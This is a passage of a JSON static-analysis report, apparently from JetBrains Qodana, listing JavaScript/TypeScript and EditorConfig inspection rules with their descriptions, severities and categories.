\"Info\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/TypeScript\",\n                      \"index\": 22,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"JSDuplicateCaseLabel\",\n                \"shortDescription\": {\n                  \"text\": \"Duplicate 'case' label\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a duplicated 'case' label on a 'switch' statement, which normally indicates an error.\",\n                  \"markdown\": \"Reports a duplicated `case` label on a `switch` statement, which normally indicates an error.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"JSDuplicateCaseLabel\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Switch statement issues\",\n                      \"index\": 47,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"JSUnreachableSwitchBranches\",\n                \"shortDescription\": {\n                  \"text\": \"Unreachable 'case' branch of a 'switch' statement\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports an unreachable 'case' branch of a 'switch' statement. Example: '/**\\n * @param {('foo' | 'bar')} p\\n */\\nfunction foo(p) {\\n    switch (p) {\\n        case 'foo': break;\\n        case 'bar': break;\\n        case 'baz': break; // unreachable\\n    }\\n}'\",\n                  \"markdown\": \"Reports an unreachable `case` branch of a `switch` statement.\\n\\nExample:\\n\\n\\n    /**\\n     * @param {('foo' | 'bar')} p\\n     */\\n    function foo(p) {\\n        switch (p) {\\n            case 'foo': break;\\n            case 'bar': break;\\n            case 'baz': break; // unreachable\\n        }\\n    }\\n\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"JSUnreachableSwitchBranches\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Switch statement issues\",\n                      \"index\": 47,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"TrivialConditionalJS\",\n                \"shortDescription\": {\n                  \"text\": \"Redundant conditional expression\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a conditional expression of the form 'condition ? true : false\\ncondition ? false : true' These expressions may be safely converted to 'condition\\n!condition'\",\n                  \"markdown\": \"Reports a conditional expression of the form\\n\\n\\n    condition ? true : false\\n    condition ? false : true\\n\\n\\nThese expressions may be safely converted to\\n\\n\\n    condition\\n    !condition\\n\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"RedundantConditionalExpressionJS\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Control flow issues\",\n                      \"index\": 1,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"TypeScriptDuplicateUnionOrIntersectionType\",\n                \"shortDescription\": {\n                  \"text\": \"Duplicate union or intersection type component\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a duplicate type inside a union or intersection.\",\n                  \"markdown\": \"Reports a duplicate type inside a union or intersection.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"TypeScriptDuplicateUnionOrIntersectionType\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/TypeScript\",\n                      \"index\": 22,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"InnerHTMLJS\",\n                \"shortDescription\": {\n                  \"text\": \"Use of 'innerHTML' property\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a JavaScript access to DOM nodes as text using the 'innerHTML' property. Most usages of 'innerHTML' are performed better with explicit DOM calls, such as 'getElementByID()' and 'createElement()'. Additionally, 'innerHTML' will not work with XML DOMs, including DOMs for XHTML if viewed as XML. This can lead to difficulties in diagnosing bugs.\",\n                  \"markdown\": \"Reports a JavaScript access to DOM nodes as text using the `innerHTML` property. Most usages of `innerHTML` are performed better with explicit DOM calls, such as `getElementByID()` and `createElement()`. Additionally, `innerHTML` will not work with XML DOMs, including DOMs for XHTML if viewed as XML. This can lead to difficulties in diagnosing bugs.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"InnerHTMLJS\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/DOM issues\",\n                      \"index\": 48,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"ES6UnusedImports\",\n                \"shortDescription\": {\n                  \"text\": \"Unused import\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a redundant 'import' statement. This is usually the case if the imported symbols are not used in the source file. To avoid side-effects, consider using bare import 'import 'packageName'' instead of the regular one.\",\n                  \"markdown\": \"Reports a redundant `import` statement. This is usually the case if the imported symbols are not used in the source file. To avoid side-effects, consider using bare import `import 'packageName'` instead of the regular one.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"ES6UnusedImports\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Imports and dependencies\",\n                      \"index\": 42,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"JSMissingSwitchBranches\",\n                \"shortDescription\": {\n                  \"text\": \"'switch' statement has missing branches\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a 'switch' statement on a variable of the type 'enum' or 'union' when the statement doesn't cover some value options from the type.\",\n                  \"markdown\": \"Reports a `switch` statement on a variable of the type `enum` or `union` when the statement doesn't cover some value options from the type.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"note\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"JSMissingSwitchBranches\",\n                    \"ideaSeverity\": \"INFORMATION\",\n                    \"qodanaSeverity\": \"Info\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Switch statement issues\",\n                      \"index\": 47,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"JSSwitchVariableDeclarationIssue\",\n                \"shortDescription\": {\n                  \"text\": \"Variable is declared and being used in different 'case' clauses\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a variable that is declared in one 'case' clause of a 'switch' statement but is used in another 'case' clause of the same statement. For block-scoped variables, this results in throwing a 'ReferenceError'. For 'var' variables, it indicates a potential error. Disable the inspection for 'var' variables if this pattern is used intentionally.\",\n                  \"markdown\": \"Reports a variable that is declared in one `case` clause of a `switch` statement but is used in another `case` clause of the same statement. For block-scoped variables, this results in throwing a `ReferenceError`. For `var` variables, it indicates a potential error.\\n\\nDisable the inspection for `var` variables if this pattern is used intentionally.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"JSSwitchVariableDeclarationIssue\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Switch statement issues\",\n                      \"index\": 47,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"VoidExpressionJS\",\n                \"shortDescription\": {\n                  \"text\": \"'void' expression\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a 'void' expression.\",\n                  \"markdown\": \"Reports a `void` expression.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"VoidExpressionJS\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Potentially undesirable code constructs\",\n                      \"index\": 11,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"JSJQueryEfficiency\",\n                \"shortDescription\": {\n                  \"text\": \"JQuery selector can be optimized\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a duplicated jQuery selector that can be cached or a usage of an attribute or a pseudo-selector (optional).\",\n                  \"markdown\": \"Reports a duplicated jQuery selector that can be cached or a usage of an attribute or a pseudo-selector (optional).\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"JSJQueryEfficiency\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/General\",\n                      \"index\": 9,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"JSAssignmentUsedAsCondition\",\n                \"shortDescription\": {\n                  \"text\": \"Assignment used as condition\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports an assignment that is used as the condition of an 'if', 'while', 'for', or 'do' statement. Although occasionally intended, this usage is confusing, and often indicates a typo (for example, '=' instead of '==').\",\n                  \"markdown\": \"Reports an assignment that is used as the condition of an `if`, `while`, `for`, or `do` statement. Although occasionally intended, this usage is confusing, and often indicates a typo (for example, `=` instead of `==`).\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"JSAssignmentUsedAsCondition\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Assignment issues\",\n                      \"index\": 34,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"UnreachableCodeJS\",\n                \"shortDescription\": {\n                  \"text\": \"Unreachable code\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports code that can never be executed, which almost certainly indicates an error\",\n                  \"markdown\": \"Reports code that can never be executed, which almost certainly indicates an error\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"UnreachableCodeJS\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Control flow issues\",\n                      \"index\": 1,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"ForLoopReplaceableByWhileJS\",\n                \"shortDescription\": {\n                  \"text\": \"'for' loop may be replaced by 'while' loop\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a 'for' loop that contains neither initialization nor an update component. Suggests replacing the loop with a simpler 'while' statement. Example: 'for(; exitCondition(); ) {\\n    process();\\n  }' After the quick-fix is applied the result looks like: 'while(exitCondition()) {\\n    process();\\n  }' Use the checkbox below if you wish this inspection to ignore for loops with trivial or non-existent conditions.\",\n                  \"markdown\": \"Reports a `for` loop that contains neither initialization nor an update component. Suggests replacing the loop with a simpler `while` statement.\\n\\nExample:\\n\\n\\n      for(; exitCondition(); ) {\\n        process();\\n      }\\n\\nAfter the quick-fix is applied the result looks like:\\n\\n\\n      while(exitCondition()) {\\n        process();\\n      }\\n\\nUse the checkbox below if you wish this inspection to ignore **for** loops with trivial or non-existent conditions.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"ForLoopReplaceableByWhile\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Control flow issues\",\n                      \"index\": 1,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"JSSuspiciousEqPlus\",\n                \"shortDescription\": {\n                  \"text\": \"Suspicious '=+' assignment\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports an assignment in the form 'a =+ b'. Suggests replacing with 'a += b'.\",\n                  \"markdown\": \"Reports an assignment in the form `a =+ b`. Suggests replacing with `a += b`.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"JSSuspiciousEqPlus\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Probable bugs\",\n                      \"index\": 13,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"EmptyStatementBodyJS\",\n                \"shortDescription\": {\n                  \"text\": \"Statement with empty body\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports an 'if', 'while', 'for', or 'with' statement with an empty body. Such statements often result from typos, and may cause confusion. Use the checkbox below to specify whether the statements with empty block statements as bodies should be reported.\",\n                  \"markdown\": \"Reports an `if`, `while`, `for`, or `with` statement with an empty body. Such statements often result from typos, and may cause confusion.\\n\\n\\nUse the checkbox below to specify whether the statements with empty block statements as bodies\\nshould be reported.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"StatementWithEmptyBodyJS\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Potentially confusing code constructs\",\n                      \"index\": 24,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"JSVoidFunctionReturnValueUsed\",\n                \"shortDescription\": {\n                  \"text\": \"Void function return value used\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a return value of a function that doesn't return anything. Calling of such functions always produces an 'undefined' value and such assignment may indicate an error. Example: 'let a = console.log('foo');' The following usages are ignored: Inside a return statement In some binary operations For overridden non-void functions\",\n                  \"markdown\": \"Reports a return value of a function that doesn't return anything. Calling of such functions always produces an `undefined` value and such assignment may indicate an error.\\n\\nExample:\\n\\n\\n    let a = console.log('foo');\\n\\nThe following usages are ignored:\\n\\n* Inside a return statement\\n* In some binary operations\\n* For overridden non-void functions\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"JSVoidFunctionReturnValueUsed\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Probable bugs\",\n                      \"index\": 13,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"JSUnusedLocalSymbols\",\n                \"shortDescription\": {\n                  \"text\": \"Unused local symbol\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports an unused locally accessible parameter, local variable, function, class, or private member declaration.\",\n                  \"markdown\": \"Reports an unused locally accessible parameter, local variable, function, class, or private member declaration.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"JSUnusedLocalSymbols\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Unused symbols\",\n                      \"index\": 15,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"ReturnFromFinallyBlockJS\",\n                \"shortDescription\": {\n                  \"text\": \"'return' inside 'finally' block\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a 'return' statement inside a 'finally' block. Such 'return' statements may mask exceptions thrown, and complicate debugging.\",\n                  \"markdown\": \"Reports a `return` statement inside a `finally` block. Such `return` statements may mask exceptions thrown, and complicate debugging.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"ReturnInsideFinallyBlockJS\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Try statement issues\",\n                      \"index\": 27,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"JSValidateTypes\",\n                \"shortDescription\": {\n                  \"text\": \"Type mismatch\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports incorrect type of: a parameter in a function call a return value an assigned expression TypeScript code is ignored.\",\n                  \"markdown\": \"Reports incorrect type of:\\n\\n* a parameter in a function call\\n* a return value\\n* an assigned expression\\n\\nTypeScript code is ignored.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"note\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"JSValidateTypes\",\n                    \"ideaSeverity\": \"WEAK WARNING\",\n                    \"qodanaSeverity\": \"Moderate\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/General\",\n                      \"index\": 9,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              }\n            ],\n            \"language\": \"en-US\",\n            \"contents\": [\n              \"localizedData\",\n              \"nonLocalizedData\"\n            ],\n            \"isComprehensive\": false\n          },\n          {\n            \"name\": \"org.editorconfig.editorconfigjetbrains\",\n            \"version\": \"233.13017\",\n            \"rules\": [\n              {\n                \"id\": \"EditorConfigCharClassRedundancy\",\n                \"shortDescription\": {\n                  \"text\": \"Unnecessary character class\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports character classes that consist of a single character. Such classes can be simplified to a character, for example '[a]'→'a'.\",\n                  \"markdown\": \"Reports character classes that consist of a single character. Such classes can be simplified to a character, for example `[a]`→`a`.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"EditorConfigCharClassRedundancy\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"EditorConfig\",\n                      \"index\": 2,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"EditorConfigRootDeclarationUniqueness\",\n                \"shortDescription\": {\n                  \"text\": \"Extra top-level declaration\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports multiple top-level declarations. There can be only one optional “root=true” top-level declaration in the EditorConfig file. Using multiple top-level declarations is not allowed.\",\n                  \"markdown\": \"Reports multiple top-level declarations. There can be only one optional \\\"root=true\\\" top-level declaration in the EditorConfig file. Using multiple top-level declarations is not allowed.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"error\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"EditorConfigRootDeclarationUniqueness\",\n                    \"ideaSeverity\": \"ERROR\",\n                    \"qodanaSeverity\": \"Critical\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"EditorConfig\",\n                      \"index\": 2,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"EditorConfigNumerousWildcards\",\n                \"shortDescription\": {\n                  \"text\": \"Too many wildcards\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports sections that contain too many wildcards. Using a lot of wildcards may lead to performance issues.\",\n                  \"markdown\": \"Reports sections that contain too many wildcards. Using a lot of wildcards may lead to performance issues.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"note\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"EditorConfigNumerousWildcards\",\n                    \"ideaSeverity\": \"WEAK WARNING\",\n                    \"qodanaSeverity\": \"Moderate\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"EditorConfig\",\n                      \"index\": 2,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"EditorConfigPartialOverride\",\n                \"shortDescription\": {\n                  \"text\": \"Overlapping sections\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports subsets of files specified in the current section that overlap with other subsets in other sections. For example: '[{foo,bar}]' and '[{foo,bas}]' both contain “foo”.\",\n                  \"markdown\": \"Reports subsets of files specified in the current section that overlap with other subsets in other sections. For example: `[{foo,bar}]` and `[{foo,bas}]` both contain \\\"foo\\\".\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"note\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"EditorConfigPartialOverride\",\n                    \"ideaSeverity\": \"WEAK WARNING\",\n                    \"qodanaSeverity\": \"Moderate\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"EditorConfig\",\n                      \"index\": 2,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"EditorConfigEmptySection\",\n                \"shortDescription\": {\n                  \"text\": \"Empty section\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports sections that do not contain any EditorConfig properties.\",\n                  \"markdown\": \"Reports sections that do not contain any EditorConfig properties.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"EditorConfigEmptySection\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"EditorConfig\",\n                      \"index\": 2,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"EditorConfigShadowingOption\",\n                \"shortDescription\": {\n                  \"text\": \"Overriding property\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports properties that override the same properties defined earlier in the file. For example: '[*.java]\\nindent_size=4\\n[{*.java,*.js}]\\nindent_size=2' The second section includes the same files as '[*.java]' but also sets indent_size to value 2. Thus the first declaration 'indent_size=4'will be ignored.\",\n                  \"markdown\": \"Reports properties that override the same properties defined earlier in the file.\\n\\nFor example:\\n\\n\\n    [*.java]\\n    indent_size=4\\n    [{*.java,*.js}]\\n    indent_size=2\\n\\nThe second section includes the same files as `[*.java]` but also sets indent_size to value 2. Thus the first declaration `indent_size=4`will be ignored.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"EditorConfigShadowingOption\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"EditorConfig\",\n                      \"index\": 2,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"EditorConfigListAcceptability\",\n                \"shortDescription\": {\n                  \"text\": \"Unexpected value list\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports lists of values that are used in properties in which lists are not supported. In this case, only a single value can be specified.\",\n                  \"markdown\": \"Reports lists of values that are used in properties in which lists are not supported. In this case, only a single value can be specified.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"error\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"EditorConfigListAcceptability\",\n                    \"ideaSeverity\": \"ERROR\",\n                    \"qodanaSeverity\": \"Critical\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"EditorConfig\",\n                      \"index\": 2,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"EditorConfigKeyCorrectness\",\n                \"shortDescription\": {\n                  \"text\": \"Unknown property\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports properties that are not supported by the IDE. Note: some “ij” domain properties may require specific language plugins.\",\n                  \"markdown\": \"Reports properties that are not supported by the IDE. Note: some \\\"ij\\\" domain properties may require specific language plugins.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"EditorConfigKeyCorrectness\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"EditorConfig\",\n                      \"index\": 2,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"EditorConfigPatternEnumerationRedundancy\",\n                \"shortDescription\": {\n                  \"text\": \"Unnecessary braces\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports pattern lists that are either empty '{}' or contain just one pattern, for example '{foo}' in contrast to a list containing multiple patterns, for example '{foo,bar}'. In this case braces are handled as a part of the name. For example, the pattern '*.{a}' will match the file 'my.{a}' but not 'my.a'.\",\n                  \"markdown\": \"Reports pattern lists that are either empty `{}` or contain just one pattern, for example `{foo}` in contrast to a list containing multiple patterns, for example `{foo,bar}`. In this case braces are handled as a part of the name. For example, the pattern `*.{a}` will match the file `my.{a}` but not `my.a`.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"error\",\n                  \"parameters\": {\n                    \"suppressToolId\": 